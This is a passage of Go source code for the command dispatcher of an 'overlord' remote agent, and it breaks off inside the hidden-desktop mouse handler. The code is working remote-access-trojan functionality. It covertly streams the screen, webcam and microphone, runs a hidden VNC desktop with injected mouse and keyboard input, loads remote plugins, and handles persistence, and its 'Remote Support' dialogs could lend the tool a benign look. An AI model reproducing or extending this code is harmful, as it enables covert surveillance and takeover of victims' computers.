1755 lines
47 KiB
Go
1755 lines
47 KiB
Go
package handlers
|
|
|
|
import (
|
|
"context"
|
|
"encoding/json"
|
|
"errors"
|
|
"fmt"
|
|
"log"
|
|
"os"
|
|
"os/exec"
|
|
goruntime "runtime"
|
|
"strconv"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
"overlord-client/cmd/agent/audio"
|
|
"overlord-client/cmd/agent/capture"
|
|
"overlord-client/cmd/agent/console"
|
|
"overlord-client/cmd/agent/persistence"
|
|
"overlord-client/cmd/agent/plugins"
|
|
"overlord-client/cmd/agent/runtime"
|
|
"overlord-client/cmd/agent/wire"
|
|
)
|
|
|
|
var ErrReconnect = errors.New("reconnect requested")
|
|
|
|
var (
|
|
activeCommands = make(map[string]context.CancelFunc)
|
|
activeCommandsMu sync.Mutex
|
|
voiceSessionMu sync.Mutex
|
|
voiceSession *voiceRuntime
|
|
)
|
|
|
|
type voiceRuntime struct {
|
|
sessionID string
|
|
cancel context.CancelFunc
|
|
session *audio.Session
|
|
}
|
|
|
|
func cancelAllCommands() {
|
|
activeCommandsMu.Lock()
|
|
defer activeCommandsMu.Unlock()
|
|
for id, cancel := range activeCommands {
|
|
if cancel != nil {
|
|
cancel()
|
|
}
|
|
delete(activeCommands, id)
|
|
}
|
|
}
|
|
|
|
func resetForReconnect(env *runtime.Env) {
|
|
if env == nil {
|
|
return
|
|
}
|
|
|
|
cancelAllCommands()
|
|
|
|
env.DesktopMu.Lock()
|
|
if env.DesktopCancel != nil {
|
|
env.DesktopCancel()
|
|
}
|
|
waitStreamStop(env.DesktopDone, "desktop")
|
|
env.DesktopCancel = nil
|
|
env.DesktopDone = nil
|
|
env.MouseControl = false
|
|
env.KeyboardControl = false
|
|
env.CursorCapture = false
|
|
env.SelectedDisplay = GetPersistedDisplay()
|
|
env.DesktopMu.Unlock()
|
|
|
|
env.HVNCMu.Lock()
|
|
if env.HVNCCancel != nil {
|
|
env.HVNCCancel()
|
|
}
|
|
waitStreamStop(env.HVNCDone, "hvnc")
|
|
env.HVNCCancel = nil
|
|
env.HVNCDone = nil
|
|
env.HVNCMouseControl = false
|
|
env.HVNCKeyboardControl = false
|
|
env.HVNCCursorCapture = false
|
|
env.HVNCSelectedDisplay = 0
|
|
env.HVNCMu.Unlock()
|
|
|
|
env.WebcamMu.Lock()
|
|
if env.WebcamCancel != nil {
|
|
env.WebcamCancel()
|
|
}
|
|
waitStreamStop(env.WebcamDone, "webcam")
|
|
env.WebcamCancel = nil
|
|
env.WebcamDone = nil
|
|
env.WebcamDeviceIndex = 0
|
|
env.WebcamFPS = 30
|
|
env.WebcamUseMaxFPS = false
|
|
env.WebcamMu.Unlock()
|
|
|
|
if env.Console != nil {
|
|
env.Console.StopAll()
|
|
}
|
|
|
|
stopVoiceSession()
|
|
|
|
env.NotificationMu.Lock()
|
|
env.NotificationKeywords = nil
|
|
env.NotificationMinIntervalMs = 0
|
|
env.NotificationMu.Unlock()
|
|
}
|
|
|
|
func removePersistence() error {
|
|
return persistence.Remove()
|
|
}
|
|
|
|
func registerCancellableCommand(cmdID string, cancel context.CancelFunc) {
|
|
activeCommandsMu.Lock()
|
|
defer activeCommandsMu.Unlock()
|
|
activeCommands[cmdID] = cancel
|
|
}
|
|
|
|
func unregisterCommand(cmdID string) {
|
|
activeCommandsMu.Lock()
|
|
defer activeCommandsMu.Unlock()
|
|
delete(activeCommands, cmdID)
|
|
}
|
|
|
|
func waitStreamStop(done <-chan struct{}, name string) {
|
|
if done == nil {
|
|
return
|
|
}
|
|
select {
|
|
case <-done:
|
|
return
|
|
case <-time.After(2 * time.Second):
|
|
log.Printf("%s: stop timed out", name)
|
|
}
|
|
}
|
|
|
|
func payloadAsMap(payload interface{}) map[string]interface{} {
|
|
switch v := payload.(type) {
|
|
case map[string]interface{}:
|
|
return v
|
|
case map[interface{}]interface{}:
|
|
out := make(map[string]interface{}, len(v))
|
|
for key, val := range v {
|
|
switch ks := key.(type) {
|
|
case string:
|
|
out[ks] = val
|
|
case []byte:
|
|
out[string(ks)] = val
|
|
}
|
|
}
|
|
return out
|
|
default:
|
|
return nil
|
|
}
|
|
}
|
|
|
|
func payloadInt32(payload map[string]interface{}, key string) (int32, bool) {
|
|
if payload == nil {
|
|
return 0, false
|
|
}
|
|
if v, ok := payload[key]; ok {
|
|
switch val := v.(type) {
|
|
case float64:
|
|
return int32(val), true
|
|
case float32:
|
|
return int32(val), true
|
|
case int:
|
|
return int32(val), true
|
|
case int8:
|
|
return int32(val), true
|
|
case int16:
|
|
return int32(val), true
|
|
case int32:
|
|
return val, true
|
|
case int64:
|
|
return int32(val), true
|
|
case uint:
|
|
return int32(val), true
|
|
case uint8:
|
|
return int32(val), true
|
|
case uint16:
|
|
return int32(val), true
|
|
case uint32:
|
|
return int32(val), true
|
|
case uint64:
|
|
return int32(val), true
|
|
}
|
|
}
|
|
return 0, false
|
|
}
|
|
|
|
func payloadInt(payload map[string]interface{}, key string) (int, bool) {
|
|
if payload == nil {
|
|
return 0, false
|
|
}
|
|
if v, ok := payload[key]; ok {
|
|
switch val := v.(type) {
|
|
case float64:
|
|
return int(val), true
|
|
case float32:
|
|
return int(val), true
|
|
case int:
|
|
return val, true
|
|
case int8:
|
|
return int(val), true
|
|
case int16:
|
|
return int(val), true
|
|
case int32:
|
|
return int(val), true
|
|
case int64:
|
|
return int(val), true
|
|
case uint:
|
|
return int(val), true
|
|
case uint8:
|
|
return int(val), true
|
|
case uint16:
|
|
return int(val), true
|
|
case uint32:
|
|
return int(val), true
|
|
case uint64:
|
|
return int(val), true
|
|
}
|
|
}
|
|
return 0, false
|
|
}
|
|
|
|
func cancelCommand(cmdID string) bool {
|
|
activeCommandsMu.Lock()
|
|
defer activeCommandsMu.Unlock()
|
|
if cancel, exists := activeCommands[cmdID]; exists {
|
|
cancel()
|
|
delete(activeCommands, cmdID)
|
|
return true
|
|
}
|
|
return false
|
|
}
|
|
|
|
func sendCommandResultSafe(env *runtime.Env, cmdID string, ok bool, message string) {
|
|
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: ok}
|
|
if message != "" {
|
|
res.Message = message
|
|
}
|
|
if err := wire.WriteMsg(context.Background(), env.Conn, res); err != nil {
|
|
log.Printf("command_result send failed: %v", err)
|
|
}
|
|
}
|
|
|
|
func payloadNumberToInt64(value interface{}) int64 {
|
|
switch v := value.(type) {
|
|
case int:
|
|
return int64(v)
|
|
case int8:
|
|
return int64(v)
|
|
case int16:
|
|
return int64(v)
|
|
case int32:
|
|
return int64(v)
|
|
case int64:
|
|
return v
|
|
case uint:
|
|
return int64(v)
|
|
case uint8:
|
|
return int64(v)
|
|
case uint16:
|
|
return int64(v)
|
|
case uint32:
|
|
return int64(v)
|
|
case uint64:
|
|
return int64(v)
|
|
case float32:
|
|
return int64(v)
|
|
case float64:
|
|
return int64(v)
|
|
default:
|
|
return 0
|
|
}
|
|
}
|
|
|
|
func stopVoiceSession() {
|
|
voiceSessionMu.Lock()
|
|
v := voiceSession
|
|
voiceSession = nil
|
|
voiceSessionMu.Unlock()
|
|
if v == nil {
|
|
return
|
|
}
|
|
if v.cancel != nil {
|
|
v.cancel()
|
|
}
|
|
if v.session != nil {
|
|
_ = v.session.Close()
|
|
}
|
|
}
|
|
|
|
func startVoiceSession(ctx context.Context, env *runtime.Env, sessionID string, source string) error {
|
|
if sessionID == "" {
|
|
return errors.New("missing voice session id")
|
|
}
|
|
|
|
stopVoiceSession()
|
|
|
|
vCtx, cancel := context.WithCancel(ctx)
|
|
session, err := audio.StartVoiceSession(vCtx, source, func(chunk []byte) {
|
|
if len(chunk) == 0 {
|
|
return
|
|
}
|
|
msg := map[string]interface{}{
|
|
"type": "voice_uplink",
|
|
"sessionId": sessionID,
|
|
"data": chunk,
|
|
}
|
|
_ = wire.WriteMsg(vCtx, env.Conn, msg)
|
|
})
|
|
if err != nil {
|
|
cancel()
|
|
return err
|
|
}
|
|
|
|
v := &voiceRuntime{sessionID: sessionID, cancel: cancel, session: session}
|
|
voiceSessionMu.Lock()
|
|
voiceSession = v
|
|
voiceSessionMu.Unlock()
|
|
|
|
return nil
|
|
}
|
|
|
|
func writeVoiceDownlink(data []byte) error {
|
|
voiceSessionMu.Lock()
|
|
v := voiceSession
|
|
voiceSessionMu.Unlock()
|
|
if v == nil || len(data) == 0 {
|
|
return nil
|
|
}
|
|
if v.session == nil {
|
|
return errors.New("voice session not ready")
|
|
}
|
|
if err := v.session.WritePlayback(data); err != nil {
|
|
return err
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func showSupportChatDialog(message, operator string, requireReply bool) (string, error) {
|
|
msg := strings.TrimSpace(message)
|
|
if msg == "" {
|
|
return "", errors.New("missing support message")
|
|
}
|
|
title := "Remote Support"
|
|
if operator = strings.TrimSpace(operator); operator != "" {
|
|
title = fmt.Sprintf("Remote Support - %s", operator)
|
|
}
|
|
|
|
switch goruntime.GOOS {
|
|
case "windows":
|
|
return showSupportChatWindows(msg, title, requireReply)
|
|
case "darwin":
|
|
return showSupportChatDarwin(msg, title, requireReply)
|
|
case "linux":
|
|
return showSupportChatLinux(msg, title, requireReply)
|
|
default:
|
|
return "", fmt.Errorf("support chat is not supported on %s", goruntime.GOOS)
|
|
}
|
|
}
|
|
|
|
func showSupportChatWindows(message, title string, requireReply bool) (string, error) {
|
|
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
|
|
defer cancel()
|
|
|
|
var cmd *exec.Cmd
|
|
if requireReply {
|
|
script := `[void][Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic'); $resp=[Microsoft.VisualBasic.Interaction]::InputBox($env:OVERLORD_SUPPORT_MESSAGE,$env:OVERLORD_SUPPORT_TITLE,''); Write-Output $resp`
|
|
cmd = exec.CommandContext(ctx, "powershell", "-NoProfile", "-NonInteractive", "-Command", script)
|
|
} else {
|
|
script := `Add-Type -AssemblyName PresentationFramework; [void][System.Windows.MessageBox]::Show($env:OVERLORD_SUPPORT_MESSAGE,$env:OVERLORD_SUPPORT_TITLE,[System.Windows.MessageBoxButton]::OK,[System.Windows.MessageBoxImage]::Information)`
|
|
cmd = exec.CommandContext(ctx, "powershell", "-NoProfile", "-NonInteractive", "-Command", script)
|
|
}
|
|
cmd.Env = append(os.Environ(),
|
|
"OVERLORD_SUPPORT_MESSAGE="+message,
|
|
"OVERLORD_SUPPORT_TITLE="+title,
|
|
)
|
|
out, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
return "", fmt.Errorf("windows support dialog failed: %w", err)
|
|
}
|
|
if !requireReply {
|
|
return "", nil
|
|
}
|
|
return strings.TrimSpace(string(out)), nil
|
|
}
|
|
|
|
func showSupportChatDarwin(message, title string, requireReply bool) (string, error) {
|
|
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
|
|
defer cancel()
|
|
|
|
esc := func(s string) string {
|
|
s = strings.ReplaceAll(s, `\\`, `\\\\`)
|
|
s = strings.ReplaceAll(s, `"`, `\\"`)
|
|
return s
|
|
}
|
|
msg := esc(message)
|
|
ttl := esc(title)
|
|
|
|
var script string
|
|
if requireReply {
|
|
script = fmt.Sprintf(`text returned of (display dialog "%s" with title "%s" default answer "" buttons {"Send"} default button "Send")`, msg, ttl)
|
|
} else {
|
|
script = fmt.Sprintf(`display dialog "%s" with title "%s" buttons {"OK"} default button "OK"`, msg, ttl)
|
|
}
|
|
|
|
out, err := exec.CommandContext(ctx, "osascript", "-e", script).CombinedOutput()
|
|
if err != nil {
|
|
return "", fmt.Errorf("macOS support dialog failed: %w", err)
|
|
}
|
|
if !requireReply {
|
|
return "", nil
|
|
}
|
|
return strings.TrimSpace(string(out)), nil
|
|
}
|
|
|
|
func showSupportChatLinux(message, title string, requireReply bool) (string, error) {
|
|
if _, err := exec.LookPath("zenity"); err != nil {
|
|
return "", errors.New("zenity is required for support chat on Linux")
|
|
}
|
|
|
|
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
|
|
defer cancel()
|
|
|
|
if requireReply {
|
|
cmd := exec.CommandContext(ctx, "zenity", "--entry", "--title", title, "--text", message)
|
|
out, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
return "", fmt.Errorf("linux support input failed: %w", err)
|
|
}
|
|
return strings.TrimSpace(string(out)), nil
|
|
}
|
|
|
|
cmd := exec.CommandContext(ctx, "zenity", "--info", "--title", title, "--text", message)
|
|
if _, err := cmd.CombinedOutput(); err != nil {
|
|
return "", fmt.Errorf("linux support message failed: %w", err)
|
|
}
|
|
return "", nil
|
|
}
|
|
|
|
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
|
cmdID, _ := envelope["id"].(string)
|
|
action, _ := envelope["commandType"].(string)
|
|
|
|
switch action {
|
|
case "screenshot":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
allDisplays := false
|
|
if payload != nil {
|
|
if v, ok := payload["allDisplays"].(bool); ok && v {
|
|
allDisplays = true
|
|
} else if mode, ok := payload["mode"].(string); ok && mode == "notification" {
|
|
allDisplays = true
|
|
}
|
|
}
|
|
if goruntime.GOOS == "windows" {
|
|
allDisplays = true
|
|
}
|
|
return HandleScreenshot(ctx, env, cmdID, allDisplays)
|
|
case "plugin_load":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
if payload == nil {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"})
|
|
}
|
|
manifestRaw, _ := payload["manifest"].(map[string]interface{})
|
|
wasmBytes, _ := payload["wasm"].([]byte)
|
|
if env.Plugins == nil {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "plugin manager not ready"})
|
|
}
|
|
manifest, err := plugins.ManifestFromMap(manifestRaw)
|
|
if err != nil {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
}
|
|
if err := env.Plugins.Load(ctx, manifest, wasmBytes); err != nil {
|
|
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "error", Error: err.Error()})
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
}
|
|
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "loaded"})
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
case "plugin_load_init":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
if payload == nil || env.Plugins == nil {
|
|
return nil
|
|
}
|
|
manifestRaw, _ := payload["manifest"].(map[string]interface{})
|
|
totalSize := toInt(payload["size"])
|
|
totalChunks := toInt(payload["chunks"])
|
|
manifest, err := plugins.ManifestFromMap(manifestRaw)
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
_ = env.Plugins.StartBundle(manifest, totalSize, totalChunks)
|
|
return nil
|
|
case "plugin_load_chunk":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
if payload == nil || env.Plugins == nil {
|
|
return nil
|
|
}
|
|
pluginId, _ := payload["pluginId"].(string)
|
|
index := toInt(payload["index"])
|
|
data, _ := payload["data"].([]byte)
|
|
_ = env.Plugins.AddChunk(pluginId, index, data)
|
|
return nil
|
|
case "plugin_load_finish":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
if payload == nil || env.Plugins == nil {
|
|
return nil
|
|
}
|
|
pluginId, _ := payload["pluginId"].(string)
|
|
if pluginId == "" {
|
|
return nil
|
|
}
|
|
if err := env.Plugins.FinalizeBundle(ctx, pluginId); err != nil {
|
|
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "error", Error: err.Error()})
|
|
return nil
|
|
}
|
|
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "loaded"})
|
|
return nil
|
|
case "plugin_unload":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
if payload == nil || env.Plugins == nil {
|
|
return nil
|
|
}
|
|
pluginId, _ := payload["pluginId"].(string)
|
|
if pluginId == "" {
|
|
return nil
|
|
}
|
|
env.Plugins.Unload(pluginId)
|
|
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
|
|
return nil
|
|
case "desktop_start":
|
|
env.DesktopMu.Lock()
|
|
if env.DesktopCancel != nil {
|
|
env.DesktopCancel()
|
|
waitStreamStop(env.DesktopDone, "desktop")
|
|
}
|
|
desktopCtx, cancel := context.WithCancel(ctx)
|
|
env.DesktopCancel = cancel
|
|
done := make(chan struct{})
|
|
env.DesktopDone = done
|
|
goSafe("desktop stream", env.Cancel, func() {
|
|
log.Printf("desktop: start requested")
|
|
_ = DesktopStart(desktopCtx, env)
|
|
close(done)
|
|
})
|
|
env.DesktopMu.Unlock()
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "desktop_stop":
|
|
env.DesktopMu.Lock()
|
|
log.Printf("desktop: stop requested")
|
|
if env.DesktopCancel != nil {
|
|
env.DesktopCancel()
|
|
}
|
|
waitStreamStop(env.DesktopDone, "desktop")
|
|
env.DesktopCancel = nil
|
|
env.DesktopDone = nil
|
|
env.DesktopMu.Unlock()
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "desktop_select_display":
|
|
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
disp := 0
|
|
if payload != nil {
|
|
displayVal := payload["display"]
|
|
|
|
if v, ok := displayVal.(int8); ok {
|
|
disp = int(v)
|
|
} else if v, ok := displayVal.(int16); ok {
|
|
disp = int(v)
|
|
} else if v, ok := displayVal.(int32); ok {
|
|
disp = int(v)
|
|
} else if v, ok := displayVal.(int64); ok {
|
|
disp = int(v)
|
|
} else if v, ok := displayVal.(int); ok {
|
|
disp = v
|
|
} else if v, ok := displayVal.(uint8); ok {
|
|
disp = int(v)
|
|
} else if v, ok := displayVal.(float64); ok {
|
|
disp = int(v)
|
|
}
|
|
}
|
|
log.Printf("desktop: select display %d", disp)
|
|
_ = DesktopSelect(ctx, env, disp)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "desktop_enable_mouse":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
enabled := true
|
|
if payload != nil {
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
enabled = v
|
|
}
|
|
}
|
|
log.Printf("desktop: mouse control %v", enabled)
|
|
_ = DesktopMouseControl(ctx, env, enabled)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "desktop_enable_keyboard":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
enabled := true
|
|
if payload != nil {
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
enabled = v
|
|
}
|
|
}
|
|
log.Printf("desktop: keyboard control %v", enabled)
|
|
_ = DesktopKeyboardControl(ctx, env, enabled)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "desktop_enable_cursor":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
enabled := false
|
|
if payload != nil {
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
enabled = v
|
|
}
|
|
}
|
|
log.Printf("desktop: cursor capture %v", enabled)
|
|
_ = DesktopCursorControl(ctx, env, enabled)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "desktop_set_duplication":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
enabled := false
|
|
if payload != nil {
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
enabled = v
|
|
}
|
|
}
|
|
log.Printf("desktop: duplication capture %v", enabled)
|
|
_ = DesktopDuplicationControl(ctx, env, enabled)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "desktop_set_quality":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
quality := 90
|
|
codec := ""
|
|
reason := ""
|
|
source := ""
|
|
if payload != nil {
|
|
if q, ok := payloadInt(payload, "quality"); ok {
|
|
quality = q
|
|
}
|
|
if v, ok := payload["codec"].(string); ok {
|
|
codec = v
|
|
}
|
|
if v, ok := payload["reason"].(string); ok {
|
|
reason = strings.TrimSpace(v)
|
|
}
|
|
if v, ok := payload["source"].(string); ok {
|
|
source = strings.TrimSpace(v)
|
|
}
|
|
}
|
|
if source != "" || reason != "" {
|
|
log.Printf("desktop: set quality=%d codec=%s source=%s reason=%s", quality, codec, source, reason)
|
|
} else {
|
|
log.Printf("desktop: set quality=%d codec=%s", quality, codec)
|
|
}
|
|
capture.SetQualityAndCodec(quality, codec)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "desktop_mouse_move":
|
|
if !env.MouseControl {
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
}
|
|
payload := payloadAsMap(envelope["payload"])
|
|
x, _ := payloadInt32(payload, "x")
|
|
y, _ := payloadInt32(payload, "y")
|
|
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
|
|
log.Printf("desktop: mouse move %d,%d -> %d,%d", x, y, absX, absY)
|
|
setCursorPos(absX, absY)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "desktop_mouse_down":
|
|
if !env.MouseControl {
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
}
|
|
payload := payloadAsMap(envelope["payload"])
|
|
btn, _ := payloadInt(payload, "button")
|
|
if x, okX := payloadInt32(payload, "x"); okX {
|
|
if y, okY := payloadInt32(payload, "y"); okY {
|
|
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
|
|
setCursorPos(absX, absY)
|
|
}
|
|
}
|
|
log.Printf("desktop: mouse down %d", btn)
|
|
sendMouseDown(btn)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "desktop_mouse_up":
|
|
if !env.MouseControl {
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
}
|
|
payload := payloadAsMap(envelope["payload"])
|
|
btn, _ := payloadInt(payload, "button")
|
|
if x, okX := payloadInt32(payload, "x"); okX {
|
|
if y, okY := payloadInt32(payload, "y"); okY {
|
|
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
|
|
setCursorPos(absX, absY)
|
|
}
|
|
}
|
|
log.Printf("desktop: mouse up %d", btn)
|
|
sendMouseUp(btn)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "desktop_key_down":
|
|
if !env.KeyboardControl {
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
}
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
code := ""
|
|
if payload != nil {
|
|
if v, ok := payload["code"].(string); ok {
|
|
code = v
|
|
}
|
|
}
|
|
if vk := keyCodeToVK(code); vk != 0 {
|
|
log.Printf("desktop: key down code=%s vk=%d", code, vk)
|
|
sendKeyDown(vk)
|
|
}
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "desktop_key_up":
|
|
if !env.KeyboardControl {
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
}
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
code := ""
|
|
if payload != nil {
|
|
if v, ok := payload["code"].(string); ok {
|
|
code = v
|
|
}
|
|
}
|
|
if vk := keyCodeToVK(code); vk != 0 {
|
|
log.Printf("desktop: key up code=%s vk=%d", code, vk)
|
|
sendKeyUp(vk)
|
|
}
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "desktop_text":
|
|
if !env.KeyboardControl {
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
}
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
text := ""
|
|
if payload != nil {
|
|
if v, ok := payload["text"].(string); ok {
|
|
text = v
|
|
}
|
|
}
|
|
if text != "" {
|
|
log.Printf("desktop: text input len=%d", len(text))
|
|
sendTextInput(text)
|
|
}
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
|
|
// ==================== HVNC COMMANDS ====================
|
|
case "hvnc_start":
|
|
env.HVNCMu.Lock()
|
|
if env.HVNCCancel != nil {
|
|
env.HVNCCancel()
|
|
waitStreamStop(env.HVNCDone, "hvnc")
|
|
}
|
|
hvncCtx, cancel := context.WithCancel(ctx)
|
|
env.HVNCCancel = cancel
|
|
done := make(chan struct{})
|
|
env.HVNCDone = done
|
|
goSafe("hvnc stream", env.Cancel, func() {
|
|
log.Printf("hvnc: start requested")
|
|
_ = HVNCStart(hvncCtx, env)
|
|
close(done)
|
|
})
|
|
env.HVNCMu.Unlock()
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "hvnc_stop":
|
|
env.HVNCMu.Lock()
|
|
log.Printf("hvnc: stop requested")
|
|
if env.HVNCCancel != nil {
|
|
env.HVNCCancel()
|
|
}
|
|
waitStreamStop(env.HVNCDone, "hvnc")
|
|
env.HVNCCancel = nil
|
|
env.HVNCDone = nil
|
|
env.HVNCMu.Unlock()
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "hvnc_select_display":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
disp := 0
|
|
if payload != nil {
|
|
displayVal := payload["display"]
|
|
if v, ok := displayVal.(int8); ok {
|
|
disp = int(v)
|
|
} else if v, ok := displayVal.(int16); ok {
|
|
disp = int(v)
|
|
} else if v, ok := displayVal.(int32); ok {
|
|
disp = int(v)
|
|
} else if v, ok := displayVal.(int64); ok {
|
|
disp = int(v)
|
|
} else if v, ok := displayVal.(int); ok {
|
|
disp = v
|
|
} else if v, ok := displayVal.(uint8); ok {
|
|
disp = int(v)
|
|
} else if v, ok := displayVal.(float64); ok {
|
|
disp = int(v)
|
|
}
|
|
}
|
|
log.Printf("hvnc: select display %d", disp)
|
|
_ = HVNCSelect(ctx, env, disp)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "hvnc_enable_mouse":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
enabled := true
|
|
if payload != nil {
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
enabled = v
|
|
}
|
|
}
|
|
log.Printf("hvnc: mouse control %v", enabled)
|
|
_ = HVNCMouseControl(ctx, env, enabled)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "hvnc_enable_keyboard":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
enabled := true
|
|
if payload != nil {
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
enabled = v
|
|
}
|
|
}
|
|
log.Printf("hvnc: keyboard control %v", enabled)
|
|
_ = HVNCKeyboardControl(ctx, env, enabled)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "hvnc_enable_cursor":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
enabled := false
|
|
if payload != nil {
|
|
if v, ok := payload["enabled"].(bool); ok {
|
|
enabled = v
|
|
}
|
|
}
|
|
log.Printf("hvnc: cursor capture %v", enabled)
|
|
_ = HVNCCursorControl(ctx, env, enabled)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "hvnc_set_quality":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
quality := 90
|
|
codec := ""
|
|
if payload != nil {
|
|
if q, ok := payloadInt(payload, "quality"); ok {
|
|
quality = q
|
|
}
|
|
if v, ok := payload["codec"].(string); ok {
|
|
codec = v
|
|
}
|
|
}
|
|
log.Printf("hvnc: set quality=%d codec=%s", quality, codec)
|
|
capture.SetQualityAndCodec(quality, codec)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "hvnc_mouse_move":
|
|
if !env.HVNCMouseControl {
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
}
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
x, y := int32(0), int32(0)
|
|
if payload != nil {
|
|
switch v := payload["x"].(type) {
|
|
case float64:
|
|
x = int32(v)
|
|
case float32:
|
|
x = int32(v)
|
|
case int:
|
|
x = int32(v)
|
|
case int8:
|
|
x = int32(v)
|
|
case int16:
|
|
x = int32(v)
|
|
case int32:
|
|
x = v
|
|
case int64:
|
|
x = int32(v)
|
|
case uint:
|
|
x = int32(v)
|
|
case uint8:
|
|
x = int32(v)
|
|
case uint16:
|
|
x = int32(v)
|
|
case uint32:
|
|
x = int32(v)
|
|
case uint64:
|
|
x = int32(v)
|
|
}
|
|
switch v := payload["y"].(type) {
|
|
case float64:
|
|
y = int32(v)
|
|
case float32:
|
|
y = int32(v)
|
|
case int:
|
|
y = int32(v)
|
|
case int8:
|
|
y = int32(v)
|
|
case int16:
|
|
y = int32(v)
|
|
case int32:
|
|
y = v
|
|
case int64:
|
|
y = int32(v)
|
|
case uint:
|
|
y = int32(v)
|
|
case uint8:
|
|
y = int32(v)
|
|
case uint16:
|
|
y = int32(v)
|
|
case uint32:
|
|
y = int32(v)
|
|
case uint64:
|
|
y = int32(v)
|
|
}
|
|
}
|
|
log.Printf("hvnc: mouse move %d,%d", x, y)
|
|
_ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y)
|
|
